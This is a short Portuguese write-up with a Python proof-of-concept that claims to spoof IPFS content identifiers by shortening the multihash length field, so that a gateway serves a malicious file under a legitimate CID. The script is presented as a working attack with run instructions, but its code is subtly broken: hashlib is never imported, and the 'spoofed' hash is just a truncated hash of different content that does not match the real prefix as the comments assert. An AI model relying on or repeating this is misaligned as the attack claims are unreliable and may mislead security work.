
Prova de conceito em Python demonstrando spoofing de CID do IPFS via extensão de comprimento de multihash, destacando falhas de verificação de endereçamento por conteúdo que podem envenenar gateways IPFS.
# ipfs_cid_spoof.py - Generates a CID with a different multihash length
import multihash, cid
# Attacker creates a file whose hash, when truncated, matches a different file's prefix
original_content = b"hello"
fake_content = b"hello world"
real_cid = cid.make_cid(1, 'dag-pb', multihash.encode(hashlib.sha256(original_content).digest(), 'sha2-256'))
# Spoofed CID: we can craft a multihash with a shorter length that matches the start of the real one
spoofed_multihash = multihash.encode(hashlib.sha256(fake_content).digest()[:16], 'sha2-256', length=16)
spoofed_cid = cid.make_cid(1, 'dag-pb', spoofed_multihash)
print(f"Real CID: {real_cid}")
print(f"Spoofed CID: {spoofed_cid}")
# If IPFS node only checks prefix, it may serve the wrong content.
Uma implementação do IPFS confia no campo de comprimento no multihash de um CID sem verificar se o hash em si corresponde ao conteúdo completo. Um atacante pode criar um arquivo cujo hash truncado seja igual ao prefixo do hash de um arquivo legítimo e servir o arquivo malicioso sob o mesmo CID.
Execute o script:
pip install py-multihash py-cid
python ipfs_cid_spoof.py
Ele mostra que um CID falsificado pode ser gerado.